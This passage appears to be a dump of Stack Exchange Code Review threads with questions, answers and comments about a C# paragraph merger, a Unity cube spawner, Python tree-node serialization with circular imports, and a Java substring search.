"CreationDate": "2021-01-26T06:43:22.353",
"Id": "503547",
"Score": "0",
"body": "@Bobby What is the additional memory management overhead from adding one local variable? They are stored in stack so it should go into the constant time operation of the method call (e.g. no overhead), right?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T16:15:53.003",
"Id": "503595",
"Score": "0",
"body": "@TorbenPutkonen Well, to be honest, pulled that out of my ass because I was unsure whether a pointer is required or not (yes, I suck at low-level stuff, I'm a Java guy through and through)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T16:18:03.247",
"Id": "503596",
"Score": "0",
"body": "@Donald.McLean As I've said, I'm with you there, I understand what you mean. I just fail to see *any* value regarding that in this question/situation."
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T15:04:01.927",
"Id": "255181",
"ParentId": "255179",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-23T04:55:19.737",
"Id": "255179",
"Score": "2",
"Tags": [
"java"
],
"Title": "Solving the Fibonacci series using a for loop"
}
|
255179
|
<p>I am trying to make a paragraph merger that takes multiple paragraphs and output a concatenated result with removing the duplicated overlapped lines due to redundancy. Each input paragraph is with the follows specifications.</p>
<ul>
<li><p>The leading/trailing spaces in each line have been removed.</p>
</li>
<li><p>No empty line.</p>
</li>
</ul>
<p>The output merged paragraph follows the rules as below.</p>
<ul>
<li><p>Paragraph input to <code>Update</code> method is concatenated after the previous input.</p>
</li>
<li><p>If the line(s) from the start of the paragraph input to <code>Update</code> method is / are sequenced same (overlapped) as the end of the previous input, just keep single copy of the sequenced duplicated lines.</p>
</li>
<li><p>The definition of duplicated lines here:</p>
<ul>
<li><p>The content in two line should be totally the same, no “partial overlapping” cases need to be considered.</p>
</li>
<li><p>The content sequence in two blocks of lines should be totally the same.</p>
</li>
</ul>
</li>
</ul>
<p><strong>Example Input and Output</strong></p>
<p>Besides the rules, here's a use case.</p>
<ul>
<li><p><strong>Inputs</strong></p>
<p>Input paragraph 1 example:</p>
<pre><code>Code Review is a question and answer site for seeking peer review of your code.
It's built and run by you as part of the Stack Exchange network of Q&A sites.
We're working together to improve the skills of programmers worldwide by taking working code and making it better.
We're a little bit different from other sites. Here's how:
Ask questions, get answers, no distractions
This site is all about getting answers.
It's not a discussion forum.
There's no chit-chat.
</code></pre>
<p>Input paragraph 2 example:</p>
<pre><code>We're a little bit different from other sites. Here's how:
Ask questions, get answers, no distractions
This site is all about getting answers.
It's not a discussion forum.
There's no chit-chat.
Good answers are voted up and rise to the top.
The best answers show up first so that they are always easy to find.
The person who asked can mark one answer as "accepted".
Accepting doesn't mean it's the best answer, it just means that it worked for the person who asked.
Get answers to practical, detailed questions
Focus on questions about an actual problem you have faced.
Include details about what you have tried and exactly what you are trying to do.
</code></pre>
</li>
<li><p><strong>Expected Output</strong></p>
<p><a href="https://i.stack.imgur.com/Ju2wu.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Ju2wu.png" alt="enter image description here" /></a></p>
<p>The two block of text are the same, so keep single overlapped part after merging.</p>
<p><a href="https://i.stack.imgur.com/GkMJ9.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/GkMJ9.png" alt="enter image description here" /></a></p>
<pre><code>Code Review is a question and answer site for seeking peer review of your code.
It's built and run by you as part of the Stack Exchange network of Q&A sites.
We're working together to improve the skills of programmers worldwide by taking working code and making it better.
We're a little bit different from other sites. Here's how:
Ask questions, get answers, no distractions
This site is all about getting answers.
It's not a discussion forum.
There's no chit-chat.
Good answers are voted up and rise to the top.
The best answers show up first so that they are always easy to find.
The person who asked can mark one answer as "accepted".
Accepting doesn't mean it's the best answer, it just means that it worked for the person who asked.
Get answers to practical, detailed questions
Focus on questions about an actual problem you have faced.
Include details about what you have tried and exactly what you are trying to do.
</code></pre>
</li>
</ul>
<p><strong>The experimental implementation</strong></p>
<p>The experimental implementation is as below.</p>
<pre><code>[Serializable]
class ParagraphMerger
{
private List<string> paragraphContents;
public ParagraphMerger(List<string> input)
{
this.paragraphContents = input;
}
public ParagraphMerger(string[] input)
{
this.paragraphContents = input.ToList();
}
public ParagraphMerger Update(List<string> input)
{
return Update(input.ToArray());
}
public ParagraphMerger Update(string[] input)
{
bool flag = false;
foreach (var element in input)
{
if (((!IsStringExist(paragraphContents, element)) || flag) && (!String.IsNullOrWhiteSpace(element)))
{
paragraphContents.Add(element);
flag = true;
}
}
return this;
}
public override string ToString()
{
StringBuilder sb = new StringBuilder();
foreach (var element in this.paragraphContents)
{
sb.AppendLine(element);
}
return sb.ToString();
}
private bool IsStringExist(List<string> strings, string target)
{
if (strings is null)
{
return false;
}
if (target is null)
{
throw new ArgumentNullException();
}
foreach (var element in strings)
{
if (element.Equals(target))
{
return true;
}
}
return false;
}
}
</code></pre>
<p><strong>Test cases</strong></p>
<p>The test case here use <code>ParagraphMerger</code> class with <code>File.ReadAllText</code> and <code>File.WriteAllText</code>. The content of "paragraph1.txt" is as "Input paragraph 1" above and "paragraph2.txt" is as "Input paragraph 2" above.</p>
<pre><code>var paragraph1 = File.ReadAllText("paragraph1.txt").Split(new[] { Environment.NewLine }, StringSplitOptions.None);
var paragraph2 = File.ReadAllText("paragraph2.txt").Split(new[] { Environment.NewLine }, StringSplitOptions.None);
ParagraphMerger paragraphMerger = new ParagraphMerger(paragraph1);
paragraphMerger.Update(paragraph2);
File.WriteAllText("output.txt", paragraphMerger.ToString());
Console.WriteLine(paragraphMerger.ToString());
</code></pre>
<p>All suggestions are welcome. If there is any issue about:</p>
<ul>
<li><p>Data processing performance</p>
</li>
<li><p>The naming and readability</p>
</li>
<li><p>Potential drawbacks of the implemented methods</p>
</li>
</ul>
<p>, please let me know.</p>
|
[] |
[
{
"body": "<h3>Readonly Field</h3>\n<p>As you assign the field only once in constructor, you may make it <code>readonly</code>. It makes the compiler able to apply more good optimisations to it.</p>\n<h3>List constructor</h3>\n<p>You store a reference to the list passed by the argument, store the copy instead because when you modifying passed list, you'll change the source list. It can cause an unexpected behavior for the external code. <code>input.ToList()</code> makes a copy of the collection even if it's already a List.</p>\n<h3>IEnumerable</h3>\n<p>You made the class to accept both arrays a lists. You may use <code>IEnumerable<string></code> instead that's compartible with both.</p>\n<h3>IsStringExist()</h3>\n<p>Consider to use <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.collections.generic.list-1.contains?view=netframework-4.8\" rel=\"nofollow noreferrer\">List.Contains(T)</a> instead of <code>Equals</code> in loop.</p>\n<p><code>strings is null</code> can be moved to <code>return</code> statement</p>\n<h3>Update()</h3>\n<p>Name can be improved e.g. <code>AppendLines()</code> as based on what the method do.</p>\n<p>In multiple conditions per logical expression the fastest can be checked first. Move <code>flag</code> to the first place, then <code>IsStringExist()</code> will not be called if <code>flag</code> is <code>true</code>. But <code>!String.IsNullOrWhiteSpace(element)</code> can moved in front of all to remove <code>null</code> argument check from <code>IsStringExist()</code> method. An then <code>IsStringExist()</code> will be optimized to single <code>List.Contains()</code> call and optimized out as redundant.</p>\n<h3>Small thigs</h3>\n<p>As option <code>!String.IsNullOrWhiteSpace(element)</code> can be replaced with <code>element?.Trim().Length > 0</code> but it will change nothing.</p>\n<p><code>ToString()</code> can be made with simple <code>return string.Join(Environment.NewLine, paragraphContents)</code>. <code>string.Join</code> uses <code>StringBuilder</code> under the hood too. The behavior difference is no CRLF at the end of the output.</p>\n<pre class=\"lang-cs prettyprint-override\"><code>[Serializable]\nclass ParagraphMerger\n{\n private readonly List<string> paragraphContents;\n\n public ParagraphMerger(IEnumerable<string> input)\n {\n paragraphContents = input.ToList();\n }\n\n public ParagraphMerger AppendLines(IEnumerable<string> input)\n {\n bool flag = false;\n foreach (var element in input)\n {\n if (element?.Trim().Length > 0 && (flag || !paragraphContents.Contains(element)))\n {\n paragraphContents.Add(element);\n flag = true;\n }\n }\n return this;\n }\n\n public override string ToString()\n {\n return string.Join(Environment.NewLine, paragraphContents);\n }\n}\n</code></pre>\n<p>And finally usage example</p>\n<pre class=\"lang-cs prettyprint-override\"><code>var paragraph1 = File.ReadAllLines("paragraph1.txt"); // File class have a lot of interesting methods, check the docs\nvar paragraph2 = File.ReadAllLines("paragraph2.txt");\n\nParagraphMerger paragraphMerger = new ParagraphMerger(paragraph1);\nparagraphMerger.AppendLines(paragraph2);\n\nstring text = paragraphMerger.ToString(); // call ToString() once and reuse\nFile.WriteAllText("output.txt", text);\nConsole.WriteLine(text);\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T15:09:47.677",
"Id": "503769",
"Score": "1",
"body": "I upvoted despite my having strong objections to the suggestion of using `element?.Trim().Length > 0` instead of `!String.IsNullOrWhiteSpace(element)`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T15:27:29.437",
"Id": "503774",
"Score": "0",
"body": "@RickDavin `but it will change nothing` That is just a syntax preference. We are not talking about performance or memory. If we are, `null` checking is redundant here because regarding to the usage example the `elemant` can't be `null`. Also in case of performance sensitivity `Span<char>` is the best to use. Also `TrimStart()` is faster than `Trim()`, bulk operations can be vectorised/intrinsified, etc. And i'm not sure if removing empty lines is useful here. In plain text i can split paragraphs with empty lines, and removing it isn't a thing to do. But OP decided to do that, I followed."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T01:37:24.980",
"Id": "255197",
"ParentId": "255182",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "255197",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T15:55:58.160",
"Id": "255182",
"Score": "1",
"Tags": [
"c#",
"object-oriented",
"strings",
"classes",
"stream"
],
"Title": "A Paragraph Merger with Removing Overlapped Duplicated Lines in C#"
}
|
255182
|
<p>My goal was to create a big invisible cube and inside that spawn small random cubes.</p>
<p>These small cubes would have:</p>
<ul>
<li>A random position within the big cube.</li>
<li>A random colour.</li>
<li>A random size.</li>
<li>A random lifetime.</li>
<li>A higher chance to spawn with offset of 0 on y-axis than any other
offset.</li>
<li>Ability to rotate in sync with the big cube.</li>
<li>Ability to fade away as it ages.</li>
<li>To be replaced with new random cubes as they expire.</li>
</ul>
<p>To achieve this, here is the code I wrote:</p>
<p>SpawnCube.cs</p>
<pre><code> public GameObject smallCubePrefab;
public float rateOfSpawn = 1;
private float nextSpawn = 0;
// Update is called once per frame
void Update()
{
// Spawn new cubes at specified spawn rate
if (Time.time > nextSpawn)
{
nextSpawn = Time.time + rateOfSpawn;
StartCoroutine(FadeOutCube());
}
}
public List<GameObject> SpawnSmallCubes()
{
// Create an empty list of cubes
List<GameObject> cubesList = new List<GameObject>();
// Spawn cube at random position within the big cube's transform position
Vector3 randPosition = new Vector3(Random.Range(-1f, 1f), 0, Random.Range(-1f, 1f));
// Generate higher chance (2 chances in 3) of spawning small cubes with offset = 0 on Y-axis
List<float> randomY = new List<float>() {0, 0, Random.Range(-1f, 1f)};
randPosition.y = randomY[Random.Range(0, 3)];
randPosition = transform.TransformPoint(randPosition * .5f);
// Spawn small cube
GameObject smallCube = Instantiate(smallCubePrefab, randPosition, transform.rotation);
// Give random color
smallCube.GetComponent<Renderer>().material.color = Random.ColorHSV(0f, 1f, 1f, 1f, 0.5f, 1f);
// Give random size
int randSize = Random.Range(1, 10);
smallCube.transform.localScale = new Vector3(randSize, randSize, randSize);
// Add spawned cube to the list of cubes
cubesList.Add(smallCube);
return cubesList;
}
public IEnumerator FadeOutCube()
{
// Give random lifetime
float fadeSpeed = Random.Range(0.01f, 0.05f);
List<GameObject> smallCubes = SpawnSmallCubes();
foreach (GameObject cube in smallCubes.ToArray())
{
while (cube.GetComponent<Renderer>().material.color.a > 0)
{
Color cubeColor = cube.GetComponent<Renderer>().material.color;
float fadeAmount = cubeColor.a - (fadeSpeed * Time.deltaTime);
cubeColor = new Color(cubeColor.r, cubeColor.g, cubeColor.b, fadeAmount);
cube.GetComponent<Renderer>().material.color = cubeColor;
yield return null;
}
if(cube.GetComponent<Renderer>().material.color.a <= 0)
{
Destroy(cube);
smallCubes.Remove(cube);
}
}
}
</code></pre>
<p>Rotate.cs</p>
<pre><code>public Vector3 rotationSpeed;
// Update is called once per frame
void Update()
{
transform.Rotate(rotationSpeed * Time.deltaTime);
}
</code></pre>
<p>Any suggestions for improvement or changes to make it better in any way?</p>
<p>Thanks</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T16:37:12.067",
"Id": "503600",
"Score": "1",
"body": "Please do not update the code in your question to incorporate feedback from answers, doing so goes against the Question + Answer style of Code Review. This is not a forum where you should keep the most updated version in your question. Please see *[what you may and may not do after receiving answers](//codereview.meta.stackexchange.com/a/1765)*. With a new question isn't meant to just copy & paste the questions context but to explain what you have changed after receiving an answer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T17:04:04.653",
"Id": "503604",
"Score": "0",
"body": "@Heslacher Ah I understand. I actually have now quite a bit updated my code for SpawnCube.cs so would it be okay for me to edit that on this?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T17:14:45.753",
"Id": "503607",
"Score": "1",
"body": "No, because answers could be invalidated. I would suggest to wait at least another day because answers on Code Review will come not at a fast rate because it takes some time to dig through the code and write an answer. If by tomorrow there had been no additional answer, feel free to ask a follow-up question in which you should link back to this question. In the follow-up question you should implement the answers to which you agree"
}
] |
[
{
"body": "<ul>\n<li>Why does <code>SpawnSmallCubes()</code> generate only a single cube?</li>\n<li><code>if(cube.GetComponent<Renderer>().material.color.a <= 0)</code> this line is unecessary</li>\n<li><code>GetComponent()</code> calls can be reduced by holding onto the Renderer instance, assuming you aren't swapping it out</li>\n<li><code>smallCubes.ToArray()</code> conversion is unecessary</li>\n<li><code>FadeOutCube()</code> also spawns the cubes. This isn't obvious from the naming</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T18:29:00.730",
"Id": "503409",
"Score": "0",
"body": "`SpawnSmallCubes()` generates single cube as I am currently spawning cubes at a specified spawn rate in the `Update` function as you can see. However, if I were to remove spawn rate, the cubes would just spawn at a rapid rate. \n\nI was thinking I could maybe change this so that for example 5 random cubes spawns at the same time, and then once those 5 cubes disappear, I'd spawn another 5 and this would keep repeating... Not sure how to go about that though."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T18:31:13.067",
"Id": "503410",
"Score": "0",
"body": "I am doing the `smallCubes.ToArray()` conversion because if I don't, Unity throws an error \"Collection was modified; enumeration operation may not execute.\" at `foreach (GameObject cube in smallCubes)` in the `FadeOutCube()` function."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T18:42:25.460",
"Id": "503411",
"Score": "0",
"body": "`smallCubes.Remove(cube);` is unecessary, as you only iterate over the list once anyways"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T19:01:03.367",
"Id": "503413",
"Score": "0",
"body": "Ah I understand. So about the `SpawnSmallCubes()`, how would you recommend I make the change such that 5 random cubes get spawned at the start rather than just one. And once they all expire, another set of 5 random cubes should spawn."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T19:55:49.360",
"Id": "503417",
"Score": "0",
"body": "You're already using a list, so putting 5 elements in the list with a `for` loop should work"
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T18:10:41.400",
"Id": "255185",
"ParentId": "255183",
"Score": "2"
}
},
{
"body": "<p>You should break out your Random Generators into their own objects and use the <code>Next()</code> method.</p>\n<blockquote>\n<pre><code> // Spawn cube at random position within the big cube's transform position\n Vector3 randPosition = new Vector3(Random.Range(-1f, 1f), 0, Random.Range(-1f, 1f));\n</code></pre>\n</blockquote>\n<p>Then becomes something like this</p>\n<pre><code>var randomVectorValue = new Random.Range(-1f, 1f);\nvar randPosition = new Vector3(randomVectorValue.Next(), 0, randomVectorValue.Next())\n</code></pre>\n<p><em>please bear in mind that I am not using an IDE to write this code so the syntax may be slightly off</em></p>\n<p>Doing it like this makes the values of the Random Number generator more maintainable, what if you were calculating random numbers for several things all with the same range, you wouldn't want to go through the entire code and change it each time it would be easier to change it in one location, in this case it would be <code>randomVectorValue</code> (<em>unlikely, because of the way that vectors work, but if it were for something else that had a range of 1-10 and you wanted to change it to 5-25...</em>)</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T16:48:39.700",
"Id": "255254",
"ParentId": "255183",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T17:38:16.770",
"Id": "255183",
"Score": "1",
"Tags": [
"c#",
"game",
"unity3d"
],
"Title": "Spawning random small cubes in a big invisible cube using Unity C#"
}
|
255183
|
<p>I am developing a piece of code around a tree structure. The tree can do a few things - one of them being its ability to serialize & de-serialize its data. There are multiple different types of nodes, e.g. <code>NodeA</code> and <code>NodeB</code>, each represented by a class. Different types of nodes may have significantly different functionality and may hold different types of data. As a common base, all node classes inherit from a "base" <code>Node</code> class. Any given type of node can be at the root of the tree. A simplified example of the envisioned structure looks as follows:</p>
<pre class="lang-py prettyprint-override"><code>from typing import Dict, List
from abc import ABC
class NodeABC(ABC):
pass
class Node(NodeABC):
subtype = None
def __init__(self, nodes: List[NodeABC]):
self._nodes = nodes
def as_serialized(self) -> Dict:
return {"nodes": [node.as_serialized() for node in self._nodes], "subtype": self.subtype}
@classmethod
def from_serialized(cls, subtype: str, nodes: List[Dict], **kwargs):
nodes = [cls.from_serialized(**node) for node in nodes]
if subtype == NodeA.subtype:
return NodeA(**kwargs, nodes = nodes)
elif subtype == NodeB.subtype:
return NodeB(**kwargs, nodes = nodes)
class NodeA(Node):
subtype = "A"
def __init__(self, foo: int, **kwargs):
super().__init__(**kwargs)
self._foo = foo * 2
def as_serialized(self) -> Dict:
return {"foo": self._foo // 2, **super().as_serialized()}
class NodeB(Node):
subtype = "B"
def __init__(self, bar: str, **kwargs):
super().__init__(**kwargs)
self._bar = bar + "!"
def as_serialized(self) -> Dict:
return {"bar": self._bar[:-1], **super().as_serialized()}
demo = {
"subtype": "A",
"foo": 3,
"nodes": [
{
"subtype": "B",
"bar": "ghj",
"nodes": []
},
{
"subtype": "A",
"foo": 7,
"nodes": []
},
]
}
assert demo == Node.from_serialized(**demo).as_serialized()
</code></pre>
<p>Bottom line: It works. The problem: There are "circular" dependencies between the actual node types <code>NodeA</code>/<code>NodeB</code> and the base <code>Node</code> class. If all of this code resides in a single Python file, it works fine. However, if I try to move each class to a separate file, the Python interpreter will become unhappy because of (theoretically required) circular imports. The actual classes are really big, so I would like to structure my code a bit.</p>
<p>Question: A common wisdom says that if circular imports / dependencies become a topic of debate, then the code's design / structure sucks and is at fault in the first place. I'd agree with that but I really do not have many good ideas of how to improve the above.</p>
<p>I am aware that I could eliminate the circular import "limitation" by doing a "manual run-time import" at least for one part of the circle plus some botching, but this is something that I'd like to avoid ...</p>
<hr />
<p><strong>CONTEXT</strong></p>
<p>I have been developing the <a href="https://github.com/pleiszenburg/zugbruecke" rel="nofollow noreferrer">zugbruecke Python module</a>.</p>
<blockquote>
<p>It allows to call routines in Windows DLLs from Python code running on Unices / Unix-like systems such as Linux, MacOS or BSD. zugbruecke is designed as a drop-in replacement for Python's standard library's ctypes module. zugbruecke is built on top of Wine. A stand-alone Windows Python interpreter launched in the background is used to execute the called DLL routines.</p>
</blockquote>
<p>Its code for synchronizing both <code>ctypes</code> datatypes and <code>ctypes</code> data has become a bit old and dusty and could use some serious refactoring. Its current form really is not object oriented can be found <a href="https://github.com/pleiszenburg/zugbruecke/blob/ec34fc308d4f8dcb11b5c99ab878ccc8b8b08f66/src/zugbruecke/core/data/arg_contents.py" rel="nofollow noreferrer">here</a> (data type definitions), <a href="https://github.com/pleiszenburg/zugbruecke/blob/ec34fc308d4f8dcb11b5c99ab878ccc8b8b08f66/src/zugbruecke/core/data/arg_contents.py" rel="nofollow noreferrer">here</a> (actual data, mostly), <a href="https://github.com/pleiszenburg/zugbruecke/blob/ec34fc308d4f8dcb11b5c99ab878ccc8b8b08f66/src/zugbruecke/core/data/mem_definition.py" rel="nofollow noreferrer">here</a> (pointer synchronization definitions) and <a href="https://github.com/pleiszenburg/zugbruecke/blob/ec34fc308d4f8dcb11b5c99ab878ccc8b8b08f66/src/zugbruecke/core/data/mem_contents.py" rel="nofollow noreferrer">here</a> (actual pointer synchronization). An early <strong>sketch</strong> of how I'd like to introduce proper object orientation (and some sort of a proper file structure) can be found <a href="https://github.com/pleiszenburg/zugbruecke/blob/ec34fc308d4f8dcb11b5c99ab878ccc8b8b08f66/src/zugbruecke/core/data/definition.py" rel="nofollow noreferrer">here</a>. The above example is an oversimplified version of my actual sketch.</p>
|
[] |
[
{
"body": "<p>You could separate your definition of a Node from the serialization process, which allows for the dependency order of (node serialization) -> (node implementation) -> (node base). This also reduces the amount of <code>super</code> juggling that you need to perform in each subclass.</p>\n<p>If you wanted to further lighten up the specific node types, you could also remove the need for <code>**kwargs</code> by instantiating the objects using a dictionary that doesn't contain the entries for "subtype" or "nodes".</p>\n<pre><code>from typing import Dict, List, Optional\nfrom abc import ABC\n\n# node.py\nclass Node(ABC):\n nodes:List['Node']\n subtype:Optional[str] = None\n\n def serialize(self) -> Dict:\n raise NotImplementedError()\n\n# node_a.py (depends on node)\nclass NodeA(Node):\n subtype = "A"\n def __init__(self, foo: int, **kwargs):\n self._foo = foo * 2\n def serialize(self) -> Dict:\n return {"foo": self._foo // 2}\n\n# node_b.py ( depends on node)\nclass NodeB(Node):\n subtype = "B"\n def __init__(self, bar: str, **kwargs):\n self._bar = bar + "!"\n def serialize(self) -> Dict:\n return {"bar": self._bar[:-1]}\n\n# node_serialization.py ( depends on node_a, node_b )\nNODE_TYPES = { \n nodeclass.subtype:nodeclass\n for nodeclass in [NodeA,NodeB]\n}\n\ndef deserialize(serialized_node: Dict) -> Node:\n node = NODE_TYPES[serialized_node['subtype']](**serialized_node)\n node.nodes = [ deserialize(node) for node in serialized_node['nodes'] ]\n return node\n\ndef serialize(node:Node) -> Dict:\n return {\n **node.serialize(),\n 'nodes': [ serialize(node) for node in node.nodes ],\n 'subtype': node.subtype\n }\n\n# usage\noriginal = {\n "subtype": "A",\n "foo": 3,\n "nodes": [\n {\n "subtype": "B",\n "bar": "ghj",\n "nodes": []\n },\n {\n "subtype": "A",\n "foo": 7,\n "nodes": []\n },\n ]\n}\n\nassert original == serialize(deserialize(original))\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T19:36:24.440",
"Id": "503513",
"Score": "0",
"body": "Thanks a lot. Hmm simply moving the `deserialize` method outside of the class and into a sort of independent function kind of solves the issue, yes. I honestly did not like that ... it kind of feels wrong because in my real code, it's not only one single method like this that would have to be moved outside of the class."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T19:47:07.007",
"Id": "503516",
"Score": "0",
"body": "FYI, I just added a context section to my question for further details. See the link to my sketch. Maybe this helps to draw some additional light onto the topic."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T22:39:18.907",
"Id": "255193",
"ParentId": "255188",
"Score": "1"
}
},
{
"body": "<p>Python class instances include the attribute <code>__class__</code>. <code>Node.as_serialized()</code> uses <code>self.__class__.__module__</code> and <code>self.__class__.__name__</code> to serialize a node's subtype and to recreate the node when deserializing. Now, <code>Node.from_serialized()</code> doesn't need to reference the other Node classes, so there isn't a circular import problem.</p>\n<pre><code>import sys\n\nclass Node:\n def __init__(self, nodes):\n self._nodes = nodes\n\n def as_serialized(self):\n return {"nodes": [node.as_serialized() for node in self._nodes],\n "subtype": (self.__class__.__module__, self.__class__.__name__)}\n \n @classmethod\n def from_serialized(cls, subtype, nodes, **kwargs):\n nodes = [cls.from_serialized(**node) for node in nodes]\n \n module, klass = subtype\n \n return getattr(sys.modules[module], klass)(**kwargs, nodes=nodes)\n\nclass NodeA(Node):\n def __init__(self, foo: int, **kwargs):\n super().__init__(**kwargs)\n self._foo = foo * 2\n \n def as_serialized(self):\n return {"foo": self._foo // 2, **super().as_serialized()}\n\nclass NodeB(Node):\n def __init__(self, bar: str, **kwargs):\n super().__init__(**kwargs)\n self._bar = bar + "!"\n \n def as_serialized(self):\n return {"bar": self._bar[:-1], **super().as_serialized()}\n</code></pre>\n<p>Note the "subtype" field has changed:</p>\n<pre><code>demo = {\n "subtype": ("__main__", "NodeA"),\n "foo": 3,\n "nodes": [\n {\n "subtype": ("__main__", "NodeB"),\n "bar": "ghj",\n "nodes": []\n },\n {\n "subtype": ("__main__", "NodeA"),\n "foo": 7,\n "nodes": []\n },\n ]\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T19:19:50.253",
"Id": "503510",
"Score": "0",
"body": "Thanks for answer. Actually, your code still as a circular dependency. `NodeA` is derived from `Node`. In addition, `NodeA` also has to be imported in the context of `Node` for your `getattr` function call to work. Maybe I am missing something, but how would you put each of the three classes into a separate .py-file and, then, how would you solve the circular import issue which arises (that in my opinion still remains)?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T19:29:41.333",
"Id": "503511",
"Score": "0",
"body": "@s-m-e, how would you use `Node`, `NodeA`, and `NodeB` if you didn't import them somewhere? Your main (or other) code imports them so it can build a tree. When you import a module, it gets cached in `sys.modules`. That's why my code looks up the module in `sys.modules` and then gets the class from the module. If you imported `NodeA` from \"fileA.py\", then `getattr(sys.modules[\"fileA\"], \"NodeA\")` would get the appropriate class. If you want , `Node.from_serialized()` could also load the module if it wasn't already loaded. Look as code for `_Loader` in the `pickle` module."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T19:35:29.413",
"Id": "503512",
"Score": "0",
"body": "Yeah, that's the \"run-time loading\" / bodging I was referring to. It's kind of ugly and has a tendency to fail in fascinating ways, but yes, I have done this before. It's a valid option after all."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T19:39:54.863",
"Id": "503514",
"Score": "0",
"body": "That should be `_Unpickler` not `_Loader`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T19:46:34.670",
"Id": "503515",
"Score": "0",
"body": "Thanks. FYI, I just added a context section to my question for further details. See the link to my sketch. Maybe this helps to draw some additional light onto the topic."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T11:07:58.060",
"Id": "255215",
"ParentId": "255188",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T20:38:47.197",
"Id": "255188",
"Score": "2",
"Tags": [
"python",
"tree",
"classes"
],
"Title": "Code structure for tree representation with multiple types (classes) of nodes and circular dependencies"
}
|
255188
|
<p>I am trying to make an algorithm that will find the index of a given substring (which I have labeled <code>pattern</code>) in a given <a href="https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/lang/String.html" rel="nofollow noreferrer"><code>String</code></a> (which I have labeled <code>text</code>). This method can be compared to <a href="https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/lang/String.html#indexOf(java.lang.String)" rel="nofollow noreferrer"><code>String.indexOf(String str)</code></a>. In addition to general feedback, I'm curious what the time complexity of my method is, and would appreciate if someone can help me figure it out.</p>
<pre class="lang-java prettyprint-override"><code>import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.NoSuchElementException;
import java.util.Set;
public class SubstringSearch {
public static void main(String[] args) {
String text = "This is a test String";
String pattern = "is a";
int index = search(pattern, text);
System.out.println(index);
}
private static int search(String pattern, String text) {
int patternLength = pattern.length();
int textLength = text.length();
Set<Integer> set = new HashSet<>(textLength);
List<Integer> addList = new ArrayList<>(textLength);
for (int i = 0; i < textLength; i++) {
set.add(0);
for (Integer index : set) {
if (pattern.charAt(index) == text.charAt(i)) {
addList.add(index + 1);
}
}
set.clear();
set.addAll(addList);
if (set.contains(patternLength)) {
return i - patternLength + 1;
}
}
throw new NoSuchElementException();
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T02:07:58.157",
"Id": "503441",
"Score": "2",
"body": "Hint 1: You don't need neither `addList` nor `set`. Hint 2: the complexity is \\$ \\mathcal{O}(n^2) \\$"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T02:43:39.397",
"Id": "503444",
"Score": "0",
"body": "@MiguelAvila I’ve done a bit of research and found the [Knuth–Morris–Pratt algorithm](https://en.wikipedia.org/wiki/Knuth–Morris–Pratt_algorithm). Is that what you were referring to, or is there a more trivial way to do it that still avoids using the `Set` and the `List`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T02:58:16.750",
"Id": "503446",
"Score": "1",
